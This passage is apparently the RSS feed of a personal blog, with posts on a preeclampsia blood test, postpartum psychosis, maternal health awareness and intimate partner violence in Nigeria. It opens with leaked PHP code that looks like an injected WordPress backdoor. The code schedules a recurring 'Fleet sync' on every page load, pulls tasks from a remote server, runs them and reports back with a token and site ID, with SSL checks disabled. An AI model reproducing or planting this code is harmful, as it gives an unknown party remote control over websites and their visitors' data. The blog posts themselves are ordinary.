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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Gender Discourse – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Thu, 06 Jul 2023 07:01:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Gender Discourse – Tobioloyede https://tobioloyede.com 32 32 Preeclampsia: Revolutionizing Prenatal Care https://tobioloyede.com/preeclampsia-revolutionizing-prenatal-care/ https://tobioloyede.com/preeclampsia-revolutionizing-prenatal-care/#respond Thu, 06 Jul 2023 06:48:27 +0000 https://tobioloyede.com/?p=2292 Pregnancy is a beautiful and transformative journey in a woman’s life, but it also comes with potential health risks. One of the most concerning complications is preeclampsia, a condition characterized by high blood pressure and organ damage that can endanger the lives of both the mother and the baby1. Preeclampsia has increased by 25% in the last 25 years, and it is now the leading cause of maternal mortality and disability worldwide2. Preeclampsia affects 2-8% of pregnancies globally and is a primary cause of maternal and newborn mortality. Blood pressure and urine protein tests are used to diagnose preeclampsia, although they might be inaccurate and late. Delaying diagnosis might limit therapy options and affect disease management3. Also, preeclampsia affects Black pregnant women five times more than white mothers4.

However, a breakthrough in medical technology has recently emerged, offering hope and relief to expectant mothers. The development of a newly approved blood test holds the promise of predicting severe preeclampsia diagnoses earlier and more accurately, ultimately improving maternal and fetal outcomes. This first-of-its-kind prognostic test detects sFlt1 and PIGF, two blood proteins that predict poor preeclampsia outcomes better than current approaches. The test can predict severe preeclampsia in pregnant women with hypertension between 23 and 35 weeks1. This blood test was developed by Thermo Fisher Scientific and granted approval by the FDA.

Source: March of Dimes

If left untreated, preeclampsia can lead to life-threatening complications for both the mother and the baby. Here are some of the effects associated with preeclampsia5:

  1. Maternal Effects:
    • High blood pressure: Preeclampsia raises pregnant women’s blood pressure. Stroke, eclampsia, and organ damage can result from failing to manage it.
    • Organ damage: Preeclampsia damages the liver, kidneys, and brain. It can damage the liver, kidneys, and nervous system.
    • HELLP (Hemolysis, Elevated Liver enzymes, and Low Platelets) syndrome: In severe preeclampsia, hemolysis (red blood cell breakdown), increased liver enzymes, and low platelet count might occur. HELLP syndrome causes liver failure, hemorrhage, and other issues.
    • Hypertension, heart disease, and stroke are more likely among preeclampsia survivors.
    • Developing cardiovascular conditions later in life, such as hypertension, heart disease, and stroke.
  2. Fetal and Neonatal Effects:
    • Restricted fetal growth: Preeclampsia can impede placental blood flow, resulting in intrauterine growth restriction. Low birth weight and health concerns may follow.
    • Preterm birth: Preeclampsia raises the risk of premature birth, which can cause respiratory distress syndrome, feeding issues, and developmental deficits in the newborn.
    • Preeclampsia may cause early placental abruption. Bleeding from placental abruption can threaten the baby’s oxygen and nutrition supply.
    • Preeclampsia can cause stillbirth.
  3. Long-term Effects:
    • Preeclampsia increases the risk of chronic hypertension in women.
    • Cardiovascular disease: Preeclampsia has been associated with an increased risk of cardiovascular diseases such as heart disease, stroke, and heart failure in the long term.
    • Kidney disease: Preeclampsia can damage kidney function and raise the risk of chronic kidney disease.
    • Metabolic disorders: Women with a history of preeclampsia may be at risk for metabolic disorders such as type 2 diabetes and metabolic syndrome.
Source: Crystal Run Healthcare

Benefits of Early Detection:
Early detection of preeclampsia is crucial for effective management and improved outcomes. The new FDA-approved blood test offers several significant benefits:

  • Enhanced Pregnancy Care: Early identification of high-risk pregnancies allows doctors to customize care. It allows closer monitoring, more frequent check-ups, and effective treatment.
  • Improved Maternal and Fetal Outcomes: Early detection and treatments reduce preeclampsia risks. It can lower blood pressure, avoid problems, and minimize the risk of preterm birth, low birth weight, and stillbirth.
  • Reduced Healthcare Costs: Preeclampsia requires extensive hospital stays, intense treatment, and long-term problems, which strain healthcare systems. The new blood test may minimize preeclampsia costs by identifying and addressing high-risk pregnancies earlier.

The approval of a novel blood test to predict and diagnose severe preeclampsia early is an important milestone in women’s health. This groundbreaking method will help healthcare providers identify high-risk pregnancies earlier and more accurately. It provides timely intervention, personalized care, and better maternal and fetal outcomes. Pregnant women can now receive needed prenatal information and actively engage in their healthcare decisions. As research progresses, we will continue to learn more about preeclampsia and develop more targeted and tailored treatments. This new blood test improves the health of mothers and their unborn children and promises to improve prenatal care. By leveraging the power of biomarker analysis, this test empowers expectant mothers.

 

Image Source: Crystal Run Healthcare

REFERENCES

  1. Richards, S. (2023, June 12). Newly approved blood test can help predict severe preeclampsia diagnoses earlier and more accurately. UChicago Medicine. https://www.uchicagomedicine.org/forefront/womens-health-articles/newly-approved-blood-test-can-help-predict-severe-preeclampsia-diagnoses-earlier-and-more-accurately
  2. Krewson, C. (2023, July 5). Blood test for preeclampsia granted FDA approval. Contemporary OB/GYN. https://www.contemporaryobgyn.net/view/blood-test-for-preeclampsia-granted-fda-approval
  3. Craig, M. (2023, June 12). First-of-its-kind prognostic blood test can better predict preeclampsia risk. News. https://www.news-medical.net/news/20230612/First-of-its-kind-prognostic-blood-test-can-better-predict-preeclampsia-risk.aspx
  4. Torrence, R. (2023, July 4). The first test for predicting preeclampsia in pregnant people won FDA approval more than 100 years after researchers discovered the blood-pressure disease. Insider. https://www.insider.com/first-test-for-preeclampsia-risk-gets-fda-approval-2023-7
  5. S. Department of Health and Human Services. (n.d.). What are the risks of preeclampsia & eclampsia to the fetus?. Eunice Kennedy Shriver National Institute of Child Health and Human Development. https://www.nichd.nih.gov/health/topics/preeclampsia/conditioninfo/risk-fetus#:~:text=Infants%20born%20preterm%20due%20to,epilepsy%2C%20deafness%2C%20and%20blindness.
  6. The first test for predicting preeclampsia in pregnant people won FDA approval more than 100 years after researchers discovered the blood-pressure disease. Insider. July 4, 2023. Accessed July 5, 2023. https://www.insider.com/first-test-for-preeclampsia-risk-gets-fda-approval-2023-7
]]> https://tobioloyede.com/preeclampsia-revolutionizing-prenatal-care/feed/ 0 Postpartum Psychosis: A Growing Concern in the United States https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/ https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/#comments Fri, 10 Mar 2023 05:12:27 +0000 https://tobioloyede.com/?p=2215 The birth of a child is commonly considered a joyful and life-changing event. However, for some new mothers, the postpartum period can be fraught with difficulties and complexities, such as postpartum depression and anxiety. One of the most severe forms of postpartum mental health issues is postpartum psychosis, a rare but potentially life-threatening condition that affects approximately 1 to 2 out of every 1,000 women who give birth or approximately 0.1-0.2% of births. According to the National Institute of Mental Health (NIMH), psychosis is a term that describes conditions that affect the mind and cause a loss of sense of reality.

Recent studies have shown a growing trend of postpartum psychosis in the United States, with an increasing number of cases being reported each year. Recent tragedies involving Lindsay Clancy in Boston, Massachusetts, and Paulesha Green-Pulliam in San Francisco, California, have re-ignited the urgent need for a national conversation regarding postpartum psychosis and maternal mental health concerns.

Melanie Thomas, MD, a psychiatrist on the 2020 Mom’s Advisory Board comments, “as a perinatal psychiatrist, postpartum psychosis is the hardest, most difficult diagnosis I see. My heart breaks for these two mothers, their suffering, and their families.  Tools like the 2020 Mom Psychosis Symptom Checklist are one step toward giving families the information and support they need and deserve.” 

Psychotic symptoms may include but are not limited to:

  • Delusions and hallucinations: A new mother may have delusions and see or hear voices that do not exist (hallucinations).
  • Confusion and disorientation: A woman suffering from postpartum psychosis may have difficulty thinking clearly and may struggle with daily tasks.
  • Mania and agitation: A new mother may feel energized, have racing thoughts, and have an excessive sense of self-esteem.
  • Severe depression: A woman suffering from postpartum psychosis may feel intense sadness, hopelessness, and worthlessness.
  • Suicidal or homicidal thoughts: A new mother may have suicidal or homicidal thoughts in some cases.
  • Insomnia: A woman suffering from postpartum psychosis may have difficulty sleeping, even if her baby is sleeping.

Postpartum psychosis is difficult to treat because healthcare providers and the public are unaware of it. Due to mental health stigma and a lack of understanding regarding postpartum psychosis, many women may not seek care. About 50% of women who experience postpartum psychosis have experienced mental illness in the past.1 A 2019 study found that 1 in 5 people with bipolar disorder may have postpartum psychosis after giving birth.12% of those who experience postpartum psychosis are considered to also have schizophrenia.2

It is critical that healthcare professionals acquire in-depth training on the identification and treatment of postpartum mental health difficulties in order to address this emerging trend and improve the results for women with postpartum psychosis. Included in this are alternatives for evidence-based therapy, timely referral to specialized mental health care, and early screening and assessment for postpartum psychosis.

Together, we can improve the outcomes for women who experience postpartum psychosis and make sure they get the support and care they require at this crucial time. If you or someone you know is exhibiting signs of postpartum psychosis, it’s critical to seek quick medical assistance. Early intervention can improve the situation for the new mother and her infant by lowering the likelihood of major complications.

NIMH also suggests ways to find help:

Overall, postpartum psychosis is a severe mental health condition that affects a small but significant number of women who have recently given birth. It can have devastating consequences for both the mother and her infant if not identified and treated promptly. Despite growing awareness and efforts to improve screening and treatment options, there is still a long way to go in addressing the stigma and lack of understanding surrounding postpartum mental health difficulties. It is crucial that healthcare providers, policymakers, and the public work together to ensure that new mothers receive the care and support they need during this critical time in their lives.

Key Takeaways

Postpartum psychosis is a rare but potentially life-threatening condition that affects some new mothers, causing them to experience symptoms such as delusions, hallucinations, confusion, disorientation, mania, severe depression, and suicidal or homicidal thoughts. It is crucial for healthcare professionals to receive adequate training in identifying and treating postpartum mental health issues, and for women to seek early medical assistance if they exhibit any signs of postpartum psychosis.

“Once you choose hope, anything is possible.” — Christopher Reeve

Sources

1Perry, A., Gordon-Smith, K., Jones, L., & Jones, I. (2021). Phenomenology, Epidemiology and Etiology of Postpartum Psychosis: A Review. Brain Sciences, 11(1), 47. MDPI AG. Retrieved from http://dx.doi.org/10.3390/brainsci11010047
2Gordon-Smith, K., Perry, A., Di Florio, A., Forty, L., Fraser, C., Casanova Dias, M., Warne, N., MacDonald, T., Craddock, N., Jones, L., & Jones, I. (2020). Symptom profile of postpartum and non-postpartum manic episodes in bipolar I disorder: a within-subjects study. Psychiatry Research, 284, 112748. https://doi.org/10.1016/j.psychres.2020.112748 This file was medically reviewed, February 2022.

Image Source: Mind Help

 

 

 

]]> https://tobioloyede.com/postpartum-psychosis-a-growing-concern-in-the-united-states/feed/ 1 Maternal Health Awareness Day-2023 https://tobioloyede.com/maternal-health-awareness-day-2023/ https://tobioloyede.com/maternal-health-awareness-day-2023/#respond Mon, 23 Jan 2023 05:12:14 +0000 https://tobioloyede.com/?p=2192 For some time now, my research has focused solely on Maternal Health and without mincing words, doing this work comes with mixed feelings as I work particularly with women who have had adverse experiences giving birth in Georgia. Their narratives are eye-opening and traumatizing and I cannot but raise awareness about the menace of maternal mortality. Overall, I love my work as a budding maternal health specialist.

Today, January 23, 2023, we celebrate Maternal Health Awareness Day with the American College of Obstetricians and Gynecologists (ACOG). This year’s theme is“𝐊𝐧𝐨𝐰 𝐖𝐡𝐲.” According to the CDC, more than 80 percent of maternal deaths in the United States are preventable. To prevent these disheartening deaths, which are occurring at an increasing pace, it is necessary to understand why they are occurring. This year, ACOG will focus on uncovering the fundamental causes of maternal deaths and emphasize the significance of data in finding solutions to improve maternal health outcomes.

Maternal mortality has diverse and complex causes. According to ACOG, some questions to ask are: What are the underlying causes of maternal deaths that most affect the patient population in your community or state? What issues are significant to your organization? This year, the ACOG encourages you to identify your “why,” or the cause of maternal deaths that you wish to highlight. Regardless of your motivation, raising awareness about the causes of death during and after pregnancy brings us one step closer to ending the maternal mortality problem that plagues the United States.

This year, ACOG will concentrate on the two major causes of maternal mortality recognized by maternal mortality review committees and recently reported by the CDC: mental health problems and cardiovascular and coronary illnesses. Interestingly, my research focuses on maternal mental health conditions that serve as an underlying cause of pregnancy-related mortality; perinatal mental health. For #MaternalHealthAwarenessDay 2023, we need to Know Why the U.S. maternal mortality crisis is worsening. The causes are numerous and complex, but focusing on even just one can help make a difference. Choose what matters to you!

You can watch/listen to my podcast to learn more: YouTube Spotify Apple Podcast Google Podcast

Image Source: ACOG

 

 

 

 

 

 

]]> https://tobioloyede.com/maternal-health-awareness-day-2023/feed/ 0 Victim or Survivor https://tobioloyede.com/victim-or-survivor/ https://tobioloyede.com/victim-or-survivor/#respond Mon, 11 Apr 2022 04:00:00 +0000 https://tobioloyedesblog.wordpress.com/?p=515 Before we dig in, are you a victim or survivor, or do you know anyone who might fall into one of the categories? I did a thing in 2020, I studied the resilience of some women in Southwest Nigeria who were survivors of Intimate Partner Violence/Domestic Violence. I say survivors because they moved from being victims to survivors and they preferred to be referred to as Survivors. Note, I am not suggesting that males do not experience abuse in the homes, workplaces, or in relationships, my focus at the time was on married women. One important question you might want to ask me is “why women or is it because you’re a woman? But you’re not even married.

To answer the question of Why?

Experiences and preconceptions shape us into the people we are now as I have found in my journey. Wendy Sharer states, “I can encourage new scholars to find topics via their lived experiences because those experiences help us to recognize what is significant, even if we are not able to articulate a rational, ‘neutral’ reason for that significance.” Growing up was not or does not only remain traumatic for me, but it also drives my interest in social research on family and relationships among others. My interest draws, not only from lived experiences, but also from general intellectual interests. I hope you understand my justification.

I know what most researchers might basically focus on is the effect the abuse has on individuals, but I took a step forward to investigate how they cope despite the stress they undergo in their relationships. It is noteworthy that the phenomenon of domestic violence goes beyond a private family issue to a critical social and psychological one.

At the time of the research, most of my participants had left the abusive marriages and had either moved on to another marriage, done better with their lives/careers, or remained single parents. Unfortunately, the dents that the abuse had on them remained for some even if it was not strong.  They spoke about their experiences, it was traumatizing for me as a listener/researcher and retraumatizing for them as they share their stories. There were times we had to stop the interview for some participants so they could cry, yes let it out by crying.

Why am I writing all these? I am writing because when I hear stories of such abuse, I am pained, I am touched, and I always wished I could do more. Our upbringing as individuals, our decisions as individuals, our training as parents, our pieces of advice as friends, our government, our culture, our leaders (Church, Mosque, anywhere), our social constructs on family matters, relationships, parenthood, and so on play a significant role in what we see in our society today. For some people, a few of these combinations affect them, while for others all of these affect them.

I have heard “I stayed, or I am staying because of my children,” my dear if you die, the children will still live, and you would not want them going through life trying to live without you. If you are worried about what society will say, no doubt they will talk, but it will be temporal.

My take on what the victim might do

  • Believe in yourself because the abuser always wants you to feel unworthy or small about yourself.
  • Seek voices of encouragement-speak up, seek help
  • Set a boundary line- it won’t be easy trust me (boundaries are not an easy thing for some of us). You just might need to cut the abuser off to live your life.

For those who are not victims

  • Listen-I say this emphatically, listen to them, take them seriously
  • Act with wisdom
  • Be honest-not criticize
  • In all, respect their boundaries

I say my take because it is my suggestion, my opinion.

Here’s a link to My Research on IPV to read my previous research. It’s a long read but you can use the table of content to go to chapters you find interesting.

“It is not the bruises on the body that hurt. It is the wounds of the heart and the scars on the mind.”

— Aisha Mirza
]]> https://tobioloyede.com/victim-or-survivor/feed/ 0 The Struggle is Real https://tobioloyede.com/the-struggle-is-real/ https://tobioloyede.com/the-struggle-is-real/#respond Mon, 21 Feb 2022 05:41:35 +0000 https://tobioloyedesblog.wordpress.com/?p=511 I have a lot I want to say and here is a warning before you dig into reading, I will be saying a lot in part. This is because the best way to put out my idea is through my podcast “Metamorphosis with Tobi” or on my blog.

Just because it is still Black history month, and we are really pushing for this thing called “Diversity.” I am certain I am not the only one thinking about the spread of the so-called Diversity, especially in February Black History Month. It makes me wonder if the diversity that these companies or schools display on social media is true. You see advertisements, posters, quotes, and all from companies, they use a black person or a person of color just to show diverse and inclusive they are in employing workers in their establishments.  I am not oblivious to the reality that yes there are those who are diverse or striving genuinely to do it. I have heard personal stories of how during Black History month, a person of color’s picture will be put up but, such a person is treated otherwise. I know that there are those who are genuine and treat people of color justly, but this is for those who pretend.

Walker-DeVose et al. (2019), “Diversity is reviewed as inherently benefiting white students as ‘students  of  color  are  admitted  so  that  they  can  help  White  students become more racially tolerant, liven up class dialog, and prepare white students for getting a job in a multicultural, global economy” (p.357). Okay, I am in shock. The educational sphere is not left out. Asides from the issue of being a person of color which naturally makes you a minority student, have you tried counting how many of your professors are people of color. I may be wrong, but I am aware that these things sometimes have little to do with departments. For instance, we may have more Asians in Chemistry or mostly white people in the criminal justice department.

Porter et al. (2020) research draws my attention, “Just being present on campus in full-time faculty positions does not mean Black women are welcomed with open arms into the academy, given the necessary support to progress through tenure and promotion, or paid equally for their labor” (p.678). On average, once you are not white, the struggle is real. Multiple jeopardies is a form of oppression that a black woman deals with all her life. Even in academia, her being, survival, visibility, and relevance are based on a narrow and sectional set of expectations from her white, male colleagues. Then, this brings me to the issue of citational politics.

It is interesting to know that citational politics is an issue in 2021. “Cite Black Women is a Black feminist intellectual project, praxis, and global movement to decolonize the practice of citation by redressing epistemic erasure of Black women from the literal and figurative bibliographies of the world” (Smith 2021, p.12). If we keep citing white, male authors or a particular set of people, it means that knowledge is drawn from a limited/divided set of experiences. Thus, higher education is in dire need of decolonization. You do it, I do it, we do it unintentionally.

Note, even the term “Person of Color” infuriates me because I wonder if being black indicates the color black, then white is what, not a color?

What do you think about slavery? If you think it has ended, then you are misled. Bryan Stevenson says, ‘slavery didn’t end in 1865, it just evolved.’ I am angry, and my anger is a response to injustice. My anger is not that of the whites’ “controlling image or stereotype” that is being used to naturally describe a black woman as an angry woman.

I think I just put my keyboard to rest here, all cannot be said in one post. I leave to write another day.

References

Porter, C. J., Moore, C. M., Boss, G. J., Davis, T. J., & Louis, D. A. (2020). To Be Black Women and Contingent Faculty: Four Scholarly Personal Narratives. Journal of Higher Education, 91(5), 674-697. https://doi.org/10.1080/00221546.2019.1700478

https://www.cnn.com/2018/12/07/politics/bryan-stevenson-axe-files/index.html

Walker-DeVose, D. C., Dawson, A., Schueths, A. M., Brimeyer, T., & Freeman, J. Y. (2018, November 30). Southern assumptions: Normalizing racialized structures at a university in the Deep South. Race, Ethnicity and Education. Retrieved February 21, 2022, from https://eric.ed.gov/?id=EJ1206633  

]]> https://tobioloyede.com/the-struggle-is-real/feed/ 0 What Do You Know about Experiencing Violence? https://tobioloyede.com/what-do-you-know-about-experiencing-violence/ https://tobioloyede.com/what-do-you-know-about-experiencing-violence/#respond Mon, 06 Dec 2021 15:32:33 +0000 https://tobioloyedesblog.wordpress.com/?p=479
Source: Trauma Therapy for Healing

As a master’s student, I was convinced that I wanted to research into the lives of women who had or are experiencing intimate partner violence or domestic violence. You may be wondering why such an area despite the numerous grey research areas available. I say boldly that my personal experiences and intellectual interests captivated me.

Having listened to victims’ stories, used them for my research by giving them a voice, I would think that would be it. One would think I have my thesis already and I can probably forget or move on like that was just a phase that could appear like it was never there. Remember, I mentioned personal experiences, it remains some sort of trauma that has stuck with me since I listened to their stories (this can be both secondary trauma and vicarious trauma).

Wondering why I am writing this, I recently noticed myself slightly changing. I may not be one that is super audible when it comes to issues of domestic violence, IPV, or child abuse, but it remains a painful and significant part of me. The idea that someone who claims to love you (or even a place you call home, which is supposed to be a haven but is not) is the same one who intentionally hurt you is hard to wrap one’s mind around.

As a young girl, I had seen many images of what IPV/domestic violence looks like. From images of battered and bruised individuals to stories that had been told. Trust me, my research interest is valid. Recently, I have become a somewhat angry person when people talk or take likely the issues of violence. To an extent that whenever I see movies with domestic violence/IPV scenes, I take it so seriously that anyone around me would question why I am so serious when it is just a movie. Personally, it goes beyond just a storyline, it is a form of literature, and it cannot be overemphasized that it is a reflection of humanity; our experiences and opinions.

Kudos to everyone out there pushing for justice, recovery, and a sane society via help organizations, non-profits, government organizations, and so on who take walks and talks for this cause. It is with humility that I say this, “I hope you know that the scars and trauma from experiencing violence go beyond taking walks, wearing customized clothing, carrying placards or banners, or sharing even pamphlets. It is intense and immeasurable.” I hope that the next time you want to do any of those, that you deeply have a sense of understanding.

Then again I ask, “What do you know about people who have or are experiencing domestic violence or intimate partner violence or even child abuse?”…think about it.

“We each survive in our own way.”
― Sarah J. Maas

]]> https://tobioloyede.com/what-do-you-know-about-experiencing-violence/feed/ 0 Anger as a Response to Intimate Partner Violence in Nigeria {Part 2} https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/ https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/#respond Wed, 16 Dec 2020 19:50:38 +0000 https://tobioloyedesblog.wordpress.com/?p=271
Source: Tackling Violence against Women

This menace should be attended to because women, especially through their resiliency and hidden strength, can positively affect the growth and development of the nation and the world at large. They are homemakers, custodians of social, cultural, political, and inherent values of the society, and sustainable change is best achieved through them. Without the involvement of women, community development, cooperation and effective participation is impossible. With regards to these, women deserve better and favorable treatment, but the reverse is usually the case in Nigeria. Intimate partner violence affects the physical, social, and psychological wellbeing of the abused women and even that of their children. With regards to personal experiences while growing up in the Southwestern part of Nigeria, undoubtedly, this calls for intervention.

In the course of undertaking this research, I interviewed a couple of survivors as they preferred to be called survivors as opposed to victims. Most agreed that they were and are angry. Derrick Silove et al. “maintain that mental health professionals have documented the occurrence of explosive forms of anger amongst survivors of gross human rights violations, including those exposed to sexual abuse and intimate partner violence.” ) They further posit that exposure to gross human rights violations provokes feelings of extreme rage, particularly when victims are incapable of resisting. Frustrations in the post-conflict environment (lack of effective justice, socio-economic deprivations) may compound feelings of anger, with environmental triggers precipitating episodes of overt rage. The emotion of anger has no doubt received growing attention in the general field of mental health with extant studies focusing both on clinic and population samples. In the field of traumatic stress, a focus on anger has been somewhat overshadowed by the emphasis given to post-traumatic stress disorder (PTSD), particularly because that category incorporates symptoms of irritability and anger. There is evidence, however, that anger may be distinguished from other symptoms of PTSD in following a more protracted course.

Without doubt, trauma affects the wellbeing of an individual, irrespective of the type and level of the overwhelming incident. Women who have previously experienced some form of trauma such as physical or sexual abuse live with a mental illness. Intimate partner violence causes adverse effects on the psychological and emotional state of survivors such as anxiety, panic attacks, substance abuse, depression and post-traumatic stress disorder. Dominick LaCapra, a researcher in trauma studies, refers to trauma as “a disruptive experience that disarticulates the self and creates a hole in existence.”[1] Survivors become weakened and are propelled into a state of confusion, thereby causing them to feel disorganized.

Intimate partner violence targeted against women undoubtedly leads to gendered trauma that affects women’s economic, cultural, political, and social rights. The patriarchal and oppressive social structures of the Nigerian society result in gender trauma. Anastasia Gage and Nicholas Thomas affirm that “gender ideology that supports husband dominance and wife beating can undermine women’s structural gains and jeopardize their health and contributions to economic development.”[2] In Nigeria, women are beaten and physically abused by their spouses on a regular basis and these attacks leave them physically and mentally disfigured.

On gender trauma in African women, Sylvia Tamale notes that it is pertinent to move from occurrences of gendered trauma to equality as inequality hinders women’s growth in the society and as such, they are traumatized.[3] Researchers posit that there are different types of intimate partner violence, including physical abuse, emotional abuse, psychological abuse, and sexual abuse among others. Cathy Humphreys and Ravi Thiara admit that there is a relationship between the mental health of domestic violence survivors and their experience of traumatic events such that it becomes so crucial that they experience anxiety, depression, emotional distress, post-traumatic stress disorder (PTSD) among others.[4] Jacqueline Golding’s study presents the mean prevalence of mental health problems among abused women to be 47.6% in 18 studies of depression, 17.9% in 13 studies of suicidality, 63.8% in 11 studies of posttraumatic stress disorder (PTSD), 18.5% in 10 studies of alcohol abuse, and 8.9% in four studies of drug abuse.[5] Jacqueline Campbell admits that “women in developing countries also report mental-health problems from abuse, with 70% of cases of emotional distress in Nicaragua attributed to intimate partner violence, and depression and anxiety reported in battered women in Pakistan.”[6] Obviously, the adverse effects of intimate partner violence across cultures cannot be overemphasized.

Conclusion

Though this research is still in progress, it is important to note that if we truly seek an end to intimate partner violence, it is required of us to firmly understand the experiences of survivors and their needs for improvement. When we decide to look away from a social justice phenomenon such as this, we allow injustice to thrive. The anger to fight against violence remains a positive powerful energy for change. Again, I am angry yet unapologetic because I seek strength and liberation.

BIBLIOGRAPHY

Silove, Derrick & Brooks, Robert & Bateman-Steel, Catherine & Steel, Zachary & Hewage, Kalhari & Rodger, James & Soosay, Ian. (2009). Explosive anger as a response to human rights violations in post-conflict Timor-Leste. Social science & medicine (1982). 69. 670-7. 10.1016/j.socscimed.2009.06.030.

[1] Writing History, Writing Trauma (Baltimore: John Hopkins University Press, 2014): 41.

[2] “Women’s work, gender roles, and intimate partner violence in Nigeria” Archives of Sexual Behavior, 46, no. 7(2017): 1924. Doi: http://dx.doi.org/10.1007/s10508-017-1023-4

[3] Gender trauma in africa: Enhancing women’s links to resources.Journal of African Law, 48, no. 1, (2004): 50-61. Retrieved from https://login.iris.etsu.edu:3443/login?url=https://search.proquest.com/docview/218165222?accountid=10771

[4] “Mental Health and Domestic Violence: ‘I Call it Symptoms of Abuse’, The British Journal of Social Work, Volume 33, Issue 2, 1
(March 2003): 210, https://doi-org.iris.etsu.edu:3443/10.1093/bjsw/33.2.209

[5] “Intimate Partner Violence as a Risk Factor for Mental Disorders: A Meta-Analysis.” Journal of Family Violence 14, no. 2 (June 1999): 99. https://search.ebscohost.com/login.aspx?direct=true&AuthType=cookie,ip,url,uid,athens&db=ssf&AN=511115553&site=ehost-live

[6] “Health consequences of intimate partner violence.” The Lancet, 359 (2002), 1334. doi: http://dx.doi.org/10.1016/S0140-6736(02)08336-8

]]> https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-2/feed/ 0 Anger as a Response to Intimate Partner Violence in Nigeria {Part 1} https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/ https://tobioloyede.com/anger-as-a-response-to-intimate-partner-violence-in-nigeria-part-1/#respond Tue, 08 Dec 2020 01:46:44 +0000 https://tobioloyedesblog.wordpress.com/?p=348

https://www.google.com/url?sa=i&url=https%3A%2F%2Fguardian.ng%2Fnews%2Fokei-odumakin-wants-violence-against-women-girls-stopped%2F&psig=AOvVaw1AMqcG24c3R2V9ZrUL5wEd&ust=1607476227118000&source=images&cd=vfe&ved=0CAIQjRxqFwoTCPjlpfaZve0CFQAAAAAdAAAAABAP

I am angry, yet unapologetic about it. We tend to think of anger as an abominable, negative emotion, but research finds that anger is not bereft of positive sides. My anger is a motivating force in the form of positive energy geared towards fighting against all forms of intimate partner violence. Domestic violence is a global phenomenon that is manifested in all strata of the society, cutting across religious, political, racial, economic, and cultural spectrums. It is noteworthy that domestic violence is an umbrella term with which intimate partner violence (IPV) is a part. Scholars such as Collins Nwabunike and Eric Tenkorang maintain that most Nigerian women have experienced domestic violence irrespective of the ethnic group and the part of the country in which they reside.[1] However, the Southwest region is the focus of this post, it does not mean that is the only region where intimate partner violence is rampant as it is realizable in other regions of the country and the world at large. Violence in the family comprises social, mental, and psychological problems with adverse consequences for survivors. It leads to changes in the social and psychological functioning of the survivors. My anger is mainly for the imposition and the infringement of the human rights of women (this is not to say that men themselves are not victims, but violence against women is more rampant and that it the focus of this post). If you feel uncomfortable with the denial and subjugation that women are forced to undergo, therefore my anger (energy) and yours can be used to tackle violence against women in all forms.

As in most other African countries, Nigeria is one with high prevalence of this phenomenon and the abused women are culturally expected to be totally submissive to their husbands. This norm has brainwashed women to the extent that they accept and justify the abuse perpetrated on them by their spouses.  Nwabunike and Tenkorang give an example of the Tiv tribe of Nigeria who are of the belief that wife battering is an indication of love, and the women have been fraternized to accept and support it.[2] This shows how women are violated by their spouses and are left to endure it. Violence in the family comprises social, mental, and psychological problems with adverse consequences for survivors. It leads to changes in the social and psychological functioning of the survivors.

The imposition and the infringement of their human rights raises the question of how female survivors in Nigeria cope with such adversity and the effects of gendered trauma. Most researchers find that female Nigerian survivors of abuse are strong despite the harsh conditions in which they find themselves. I argue primarily that they exemplify different coping mechanisms to uphold and recreate their lives through resilience. Also, that their resilience is not just a means of being quiet due to non-disclosure, but hidden strength. Importantly, they do not only depict hidden strength, but also develop agency and empower themselves irrespective of the structures (gender, class, customs etc.) that limit them.

The menace of domestic violence with a focus on intimate partner violence is a global problem that occurs not only in Nigeria, which is a developing country, but also in developed countries. It is strengthened by a culture which allows women to be subordinate in the family, thereby giving ultimate power to men. It is a widespread issue that shows little or no sign of alleviation and the forms in which it takes include physical, sexual, emotional, and mental. The Nigerian Government is beginning to investigate it, but the situation seems unattended to because of the patriarchal structure of the society which leaves these women at the receiving end. A vivid example is the recent case of one Mr. Pius Angbo (a Channels TV reporter) who was called out by his wife (Ifeanyi Angbo) over a long history of battering in their six years of marriage. In sum, the Governor Samuel Ortom of Benue State intervenes and reconciles the couple. What I see at play or questions that arise are that “Did or will he be convicted for his crimes? “Will the wife/husband be made to see a therapist?” among others.

